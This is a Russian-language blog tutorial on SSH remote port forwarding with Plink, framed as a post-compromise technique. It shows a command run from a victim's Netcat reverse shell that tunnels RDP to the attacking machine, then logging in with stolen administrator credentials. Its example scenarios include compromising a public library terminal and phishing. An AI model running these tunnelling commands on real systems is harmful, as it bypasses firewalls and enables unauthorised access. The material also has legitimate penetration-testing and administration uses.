17 апреля, 2024

Удаленный Port Forwarding (проброс портов) и его использование для обхода ограничений брандмауэров

Содержание:

Локальное перенаправление портов (проброс портов) хорош, когда вы хотите использовать SSH для того, чтобы попасть в немаршрутизируемую сеть. Но если вы хотите получить доступ к службам внутри сети, при этом не можете настроить перенаправление портов на маршрутизаторе и не имеете доступа к сети VPN, то как раз удаленное перенаправление портов — это и есть способ это сделать.

Удаленный проброс портов выполняется в ситуациях, когда вы хотите получить доступ к какой-нибудь службе во внутренней сети и уже получили контроль над машиной в этой сети с помощью какого-либо reverse shell’а (reverse shell — это удаленная консоль, где вы являетесь сервером и вызываете соединение с консолью на себя). Являетесь ли вы пентестером или системным администратором — в любом случае это хорошая штука, о которой нужно знать.

Например, вы компрометируете публичный терминал в местной библиотеке и получили какие-нибудь учетные данные. Вы устанавливаете какой-нибудь постоянный reverse shell какого-то типа, который вызывает соединение обратно на ваш компьютер, но при этом у вас нет доступа к другим службам на библиотечной машине. У компьютера-жертвы может быть экземпляр SQL, настроенный на локальном хосте, к которому вы хотели бы получить доступ, или, может быть, вы хотите получить доступ к удаленному рабочему столу. Может быть, в этой сети есть какая-то панель администратора, в которой вы хотели бы покопаться. Независимо от того, что вы хотите, скомпрометированный хост и SSH доставят вас туда.

Удаленное перенаправление портов не обязательно связано только с какими-то вредоносными сценариями. Вы можете использовать его, чтобы сделать временную дыру в сети для того, чтобы использовать рабочие службы дома, хотя ваша команда IT-безопасности может вас огорчить до невозможности.

Читать также:  Выбор компьютера и операционной системы для хакера

Еще одно замечательное применение этой техники — в фишинговых кампаниях, где пользователь исполнил вашу полезную нагрузку, и у вас есть только обратное соединение от reverse shell’а. После небольшого сбора информации и расширения ваших прав, вы получаете учетные данные администратора и можете использовать их на другой службе на той же взломанной машине.

В этой статье мы будем использовать SSH для того, чтобы получить доступ к удаленному рабочему столу на хосте, защищенном брандмауэром во внутренней сети. И все это без изменения правил перенаправления портов на шлюзе!

Ситуация

Оболочкой (шелом) будет соединение Netcat, работающее с cmd.exe. Пользователь «bob» не является привилегированным пользователем. Благодаря предварительно проведенному сбору информации мы знаем, что пользователь «barrow» — администратор. Мы также знаем, что на этом компьютере имеется доступ к удаленному рабочему столу.

Было бы замечательно залогиниться в эту систему с помощью удаленного рабочего стола, да еще и в качестве администратора, но она не маршрутизируется на нашу машину. Наша скомпрометированная машина находится за маршрутизатором с внутренним IP-адресом, и у нас нет доступа к внутренней сети, за исключением внутреннего хоста.

Мы можем использовать reverse shell для взаимодействия с уязвимым хостом, но если мы попытаемся подключиться к удаленному рабочему столу, IP-адрес станет недействительным. Если мы воспользуемся публичным IP-адресом, то мы подключимся к маршрутизатору, который просто сбросит наши пакеты. Так как у нас нет SSH-сервера в этой сети, с которым мы могли бы работать, то нам придется использовать Plink для перенаправления службы удаленных рабочих столов на нашу атакующую машину.

Шаг 1. Установка Plink

Plink — это консольный клиент SSH для Windows. Он входит в состав Kali Linux и находится в каталоге /usr/share/windows-binaries/. Его также можно скачать с сайта — у разработчика (ищите файл plink.exe).

Читать также:  Делаем мультизагрузку на Raspberry Pi с помощью BerryBoot

Шаг 2. Конфигурирование удаленного перенаправления портов

Используя командную оболочку Netcat и plink.exe, мы можем настроить удаленное перенаправление порта на наш атакующий компьютер с машины-жертвы, если введем следующую команду в reverse shell (удаленную консоль) с машины жертвы:

plink attackingMachine -R 4000: 127.0.0.1: 3389

Синтаксис похож на синтаксис SSH. Использование опции -R говорит Plink подключиться к атакующей машине и привязать канал к порту 4000 (порт 4000 выбран произвольно — вы можете выбрать любой порт). Следующая часть между двоеточиями определяет, какая служба будет обслуживаться на 4000-м порту на атакующем компьютере. В этом случае 3389-й порт — порт машины-жертвы. Как только мы ввели эту команду, мы можем войти с нашими учетными данными в атакующую машину. Теперь атакующий компьютер на локальном хосте на 4000-м порту имеет доступ к службе удаленного рабочего стола на компьютере-жертве.

Если вы обратили внимание, мы использовали адрес localhost на компьютере-жертве. Это может быть полезно для служб перенаправления портов, которые обычно ограничены доступом только к локальному хосту, например mySQL.

Шаг 3. Залогиньтесь на удаленный рабочий стол

Когда все это будет запущено в командной строке нашего Netcat, мы можем подключиться к службе удаленного рабочего стола на машине-жертве с помощью команды rdesktop. Следующая команда использует протокол удаленного рабочего стола для подключения к локальному порту 4000, при этом компьютер-жертва перенаправляет свой локальный порт 3389.

rdesktop localhost: 4000

Все, что осталось сделать, это использовать известные учетные данные (полученные либо путем фишинга, либо приобретенные через расширение прав) для входа в систему Windows. С этого момента у нас есть полный административный доступ к системе, несмотря на то, что шлюз системы сбрасывает все входящие запросы на подключение. Мы также сохранили наше первоначальное соединение с шелом, которое всегда важно. Открытые шелы всегда легче потерять, чем снова восстановить.

Читать также:  Metasploit для начинающего хакера. Как установить новые модули ( Часть 9)

SSH — отличный инструмент для работы в сетях, но он не ограничивается тестированием на проникновение. Удаленное перенаправление портов может предоставить вам доступ к службам на машине, которая обычно недоступна. Это может быть полезно, если вы хотите поделиться своими службами с теми сетями, которые обычно не имеют к ним доступа. Например, если вам необходимо временно подключиться к службе на работе из вашего дома, но брандмауэр сбрасывает все входящие пакеты. В некоторых случаях настройка обратного SSH-туннеля проще, чем перенаправление портов маршрутизатора потребительского класса.

Если у вас есть какие-либо вопросы или комментарии, не стесняйтесь, задавайте их комментариях.

Добавить комментарий